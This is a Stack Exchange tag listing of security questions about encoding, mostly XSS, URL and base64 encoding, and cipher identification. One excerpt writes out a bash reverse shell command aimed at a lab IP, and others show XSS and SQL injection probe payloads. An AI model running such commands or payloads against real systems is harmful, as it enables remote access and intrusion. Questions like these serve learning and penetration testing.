Skip to main content
Share Your Experience: Take the 2024 Developer Survey

Questions tagged [encoding]

Encoding is a set of predefined rules to reversibly transform a piece of information in a certain representation into a completely different representation. The other way round is called decoding.

Filter by
Sorted by
Tagged with
1 vote
0 answers
152 views

When we url encode (") will become (%22), is there any way we can decode (")?

While studying the XSS vulnerability, I encountered a significant doubt. I noticed that when we include " in a URL, it gets encoded as %22. Therefore, I believe we can utilize the decoded version ...
suwarnarajtest testaccount's user avatar
0 votes
1 answer
107 views

React chars to HTML encode?

I've observed that React can HTML encode specific characters to prevent XSS vulnerabilities in certain contexts. For instance, consider the following code in App.jsx: function App() { const ...
BooRuleDie's user avatar
1 vote
0 answers
80 views

How to use html encoded characters to perform XSS?

I am trying to perform XSS but to get out of the context and write the payload I need to use Angle brackets and the angle brackets are html encoded. I tried double encoding technique with url encoding+...
Riaz Rabia's user avatar
0 votes
0 answers
316 views

Documentation on mobile-webview.gmail.com link masking?

Several google products (mainly Gmail) masks links using a fake-dns mobile-webview.gmail.com That domain doesn't resolve anywhere, not even Google's own NS https://dnschecker.org/#A/mobile-webview....
gcb's user avatar
  • 233
-1 votes
1 answer
109 views

Is encoding random with module insecure? [closed]

The ID library Nano ID claims that modulo based encoding (e.g. Base64) would lead to uneven distribution in the output: Uniformity. random % alphabet is a popular mistake to make when coding an ID ...
deamon's user avatar
  • 99
0 votes
0 answers
604 views

Bash reverse shell as a URL parameter value

I try to put bash reverse shell as a URL parameter. The command is as follows: bash -i >& /dev/tcp/192.168.56.105/4444 0>&1 I have encoded the above code with URL encoding bash%20-i%20%...
Texicans's user avatar
1 vote
1 answer
265 views

What sort of cookie is this website giving users

I am doing some research into scam websites (particularly the ones where you receive a text message telling you you have an undelivered package, or unpaid tolls etc and they provide you with a link to ...
user2334659's user avatar
-2 votes
1 answer
240 views

Using base64 for secure encoding [duplicate]

Now this may seem like a stupid question, but it just occurred to me: How secure is base64 encoding compared to (plain) hashing? Nobody can read base64 code by itself, but it still isn't that hard to ...
Parking Master's user avatar
1 vote
1 answer
964 views

XSS in document.write(location.href)

Let's say a website contains the following <script> tag and does not have a CSP blocking any execution here. <script type="text/javascript"> document.write(location.href) </...
J Heschl's user avatar
  • 123
1 vote
0 answers
35 views

Decrypting a Base64 ciphertext [duplicate]

I am working on a challenge that includes decrypting a piece of ciphertext. The sample decryption provided is as follows: ...
Karim Elezabawy's user avatar
1 vote
0 answers
523 views

force XSS after bypassing Request.Form using URL Encoding

I am testing a cross-site scripting attack on a website, as we all know the Request.Form function validates the input so the user couldn't insert a <script> inside the input. My focus in this ...
syk's user avatar
  • 11
5 votes
5 answers
5k views

Randomly generated secrets: encoding the random bytes in base64 vs keeping them

Today this came to my attention. When generating random secrets for e.g. JWT (in node.js the most common way is using the crypto.randomBytes() method), I have noticed a lot of people save these tokens ...
Sam's user avatar
  • 169
0 votes
1 answer
382 views

Burp Suite: alphanumeric payload decoded to base64 exposes password, but as an encoded string

I'm learning Web Pentesting using Juice Shop and I successfully used Burp Suite to generate an SQL injection payload in the repeater that exposed the plain text email and encoded password of the admin....
razimbres's user avatar
  • 101
0 votes
0 answers
543 views

Cracking UTF encoded hash using hashcat

I'm conducting tests using hashcat and find it very difficult if the hash is encoded. See the below function which takes the plain text, converts that to the bytes, creates the SHA512 hash and then ...
Brian Smith's user avatar
0 votes
2 answers
583 views

Parameter vulnerable for HTML injection but cannot exploit because of URL encoding

I found a HTML injection vulnerability but there is an issue. The following request returns the following: curl "https://redacted.com/xss/para?meter="><h1>Test\</h1>"<...
Ugroon's user avatar
  • 11
3 votes
1 answer
1k views

Is PHP json_encode sufficient for HTML data blocks?

I want to access data in a PHP variable from JavaScript code. An (old) OWASP cheat sheet recommends embedding it in HTML before accessing it, an approach like this: <div id="init_data" ...
August Janse's user avatar
0 votes
1 answer
937 views

Burp suite: URL encoding of request body - Is this safe?

Analyzing an android app's traffic POST request, it sends some important pieces of data in the form of URL encoding. This is pretty easy to decode and get the data. The data is sent over HTTPS. But is ...
Supraja's user avatar
1 vote
1 answer
652 views

Is there a consensus on whether HTML encoding should happen upon upload or retrieval/display for defense against stored XSS?

The common thing to do in defense against XSS, stored or not, is to HTML-encode the payload. Encoding upon the upload/POST of the data is efficient for processing power and neutralizes it early to be ...
ChocolateOverflow's user avatar
0 votes
1 answer
428 views

How to Find Encryption when knowing Input Plain Text and Output Encrypted Text? [duplicate]

When I submit an Customer Reference ID in an Android Application it POSTs an Encrypted String to an API Endpoint. For example, if I enter the following CR ID : "CR-13261150" it POSTs the ...
Cruzer Blade's user avatar
-2 votes
2 answers
3k views

How to Find Encryption Type by Seeing Encrypted Text? [closed]

When I submit an Customer Reference ID in an Android Application it POSTs an Encrypted String to an API Endpoint. For example, if I enter the following CR ID : "CR-13261150" it POSTs the ...
Rohith's user avatar
  • 7
0 votes
0 answers
425 views

Good practice for generating opaque access-token

Restrictions: Access token will be short lived (2 minutes) Access token will be one-time use only. Given a strong random algorithm, would it be considered good practice to generate an opaque access-...
MatthewAws's user avatar
0 votes
1 answer
850 views

How to send a password securely as part of a GET request in rails?

I'm curious to check what could be some possibly secure and recommended ways through which I could send a password as part of a GET request in rails? Just to be explicit, we're using HTTPS in general. ...
boddhisattva's user avatar
0 votes
1 answer
462 views

How do I test for Reflected XSS in webpage titles, url parameters and javascript variables?

I have a java web app. I'm using OWASP Java Encoder to encode for html, javascript and url components to mitigate reflected XSS. I'm new to this so I'm not sure on how to test on my web app for the ...
HunterTheox24's user avatar
-1 votes
1 answer
525 views

How do you execute ls -la when encoded as hex? [closed]

There used to be a really bad joke from the internet where you would copy something starting with \x0B\x2E... (just an example) and when you execute this command the terminal would interpret it as ...
Sir Muffington's user avatar
1 vote
2 answers
756 views

Percent-encoding in WinSCP in SFTP password, why?

I recently discovered the problem with Percent-encoding. It makes perfectly sense when we are dealing with such problem in a browser scenario. But I don't get why a software like WinSCP can be ...
Francesco Mantovani's user avatar
7 votes
1 answer
8k views

Passing a C# object to Javascript in ASP.NET MVC

Several answers on StackOverflow suggest that a C# object can be passed to JavaScript in ASP.NET MVC by the following: <script type="text/javascript"> var obj = @Html.Raw(Json....
Sjoerd's user avatar
  • 30.8k
0 votes
0 answers
632 views

Exploit an XSS without <> and valid encoding

I'm making a web penetration test, so I trying to exploit a XSS, I've looked that if I use a payload like the following: <script>alert(document.domain)</script> The output in the page ...
BeginnerDon'tExpert's user avatar
1 vote
1 answer
172 views

Why don't computers enforce immutable address spaces for execution?

A piece of malware detects signatures of the sandbox an AV solution tries to use to fingerprint malicious behavior and pretends to be innocent. Once in the real OS environment, it then downloads ...
john doe's user avatar
  • 775
0 votes
0 answers
124 views

Additional verification, sanitization for transcoded CJK paths in URLs

Suppose there is a file hosting server, and most filenames are strings with mostly CJK characters. Transmitting those characters in HTTP GET requests requires encoding them using UTF-8 (x3 overhead) ...
DannyNiu's user avatar
  • 374
13 votes
5 answers
9k views

Why would one need to encode an MD5 hash string? Is it unsafe to display unencoded?

I was reading this article which talks about a design to shorten URLs, and in the design section, it says that the given URL can be hashed using a hashing algorithm such as MD5, and then be encoded ...
Ufder's user avatar
  • 233
1 vote
0 answers
371 views

CyberChef Challenge #21 [closed]

The challenge data is: ...
CtfLover's user avatar
1 vote
2 answers
262 views

script encoder for IDS test

Encoding a payload is a means of evading antivirus or IDS. With regard to scripts is there a way to do the same thing? For instance, is it possible to encode a python script in order test intrusion ...
t5j's user avatar
  • 49
0 votes
0 answers
350 views

Error Based SQL Injection

I have a MySQL lab challenge where I send id=1‘ and select @@version;# then manage to trigger an error. But the part of the error response that has my version info looks like it comes back in binary (...
SysRisk's user avatar
  • 11
0 votes
1 answer
695 views

Steganography CTF question

I have recently participated in a CTF competition and failed in the following stage where the solution was never revealed. After a really hard job I got access to a text file that contains a really ...
user245607's user avatar
0 votes
0 answers
1k views

Sanitising data for a flutter application

I am having trouble with some user input security. I have a Flutter app where users can submit comments that can contain text e.g. a-z characters, numbers, symbols and emojis. These are stored in a ...
ebg11's user avatar
  • 101
-1 votes
1 answer
156 views

How a can be decoded as 61 and b as 62...? [closed]

I'm trying to stack overflow of one C program. But I'm confused by encoding or decoding algorithms. I used ollydbg to observe registers. I tried entering "a" 28 times. And it should insert ...
Parampreet Rai's user avatar
4 votes
1 answer
2k views

What is LS0... encoding of a PKI certificate?

I am looking through a set of PKI certificates and key strings that are specified in a kubernetes yaml file. They are used for testing. Some of the strings are keyed (as in yaml key-value) as crt.pem. ...
errolflynn's user avatar
1 vote
1 answer
366 views

Does anyone know what this encoding format for passwords is? I think it is a decimal array but I can't seem to convert it

During a penetration test, I ran across a server that was storing passwords in its database in what seems to be a binary array of sorts: password_table 1,12,12,12,122,21,13,00,00,00,000 11,112,443,12,...
servereater1888's user avatar
2 votes
1 answer
345 views

Multi-byte character exploit

I read this answer, It explains how a multi-byte character exploit works in a decent way, the only way I could think of avoiding this problem is whitelisting all single-byte characters because of the ...
hakiki_makato's user avatar
0 votes
1 answer
142 views

How to know what type of encryption type is that? [duplicate]

the hash is a lot of numbers separated by hyphens, something like that 02-35-161-51-43-227-161-06-151-43-22-71-43-46-21.... More than 700 numbers.
Frank's user avatar
  • 1
1 vote
0 answers
777 views

How to unencode email urls rewritten by Black Spider [closed]

Since a few months, many organisations have urls in incoming mail rewritten to be redirected through a checking service (Outlook Safelinks, Proofoint, FireEye, Black Spider/Forcepoint). Because this ...
equaeghe's user avatar
  • 111
0 votes
0 answers
140 views

How to facilitate secure chats between users

My company runs a chat room service where the users can securely send messages to one another. All users are authenticated by the service in advance, and will install software from the service onto ...
Brooney's user avatar
  • 63
1 vote
1 answer
2k views

Security Report about "Insecure Content-Type Setting": Does this apply to CSS and JavaScript as well?

I am working through a report of an automated vulnerability scanner. One Item is Web Server Misconfiguration: Insecure Content-Type Setting ( 11359 ) It's about not returning the character-set for ...
Marcel's user avatar
  • 4,084
3 votes
1 answer
917 views

How does URL Encoding work?

I am learning about web security, but I'm very confused about URL Encoding. On PortSwigger, I learned that the URL http://127.0.0.1/admin can be written as http://127.0.0.1/%2561dmin by encoding a as ...
Monu's user avatar
  • 227
1 vote
1 answer
332 views

What is a LUKS cipher-name "@"?

In analyzing the LUKS header on an encrypted volume, the cipher-name field shows a single-character = '@'. What does that mean? The LUKS On-Disk Format Specification originally published by Clemens ...
Michael Altfield's user avatar
2 votes
0 answers
1k views

XSS / SQL Injection Attacks with Character Encoding Mixups

Are there any character encoding mixup attacks that are still a threat in 2020? Such as with XSS or SQL injection being the most obvious. Some examples: Tricking a browser to display a page in UTF-...
ansichart's user avatar
  • 797
15 votes
1 answer
72k views

How to check if an mp4 file contains malware?

I am not that familiar with security and malware analysis, but I know it is theoretically possible to embed a malware into files like video, audio ... Say that someone managed to embed a malware ...
singrium's user avatar
  • 253
0 votes
1 answer
156 views

How to determine the type [duplicate]

Today I discover a encryption method Which 0 = 35 1 = 34 2 = 37 3 = 36 4 = 31 5 = 30 6 = 33 7 = 32 8 = 3d 9 = 3c It's the encode of number 1 to 0 for the method Can you please help me to ...
Movies Like's user avatar
0 votes
0 answers
27 views

What type of encoding is this string? [duplicate]

I have an encoded string: VH+_+smN+IPimspbC+_+ygX73g== The original string is: 51756 So 51756 => VH+_+smN+IPimspbC+_+ygX73g== What is the encoding algorithm type? How can decode VH+_+smN+IPimspbC+...
ABP's user avatar
  • 101
1 vote
1 answer
235 views

Can a file upload function be vulnerable without it the file name getting passed?

From googling, a lot of file upload vulnerabilities rely on injecting something into the filename and also rely on the picture being stored on the server, is it safe to just do a post request of the ...
Annie's user avatar
  • 43

1
2 3 4 5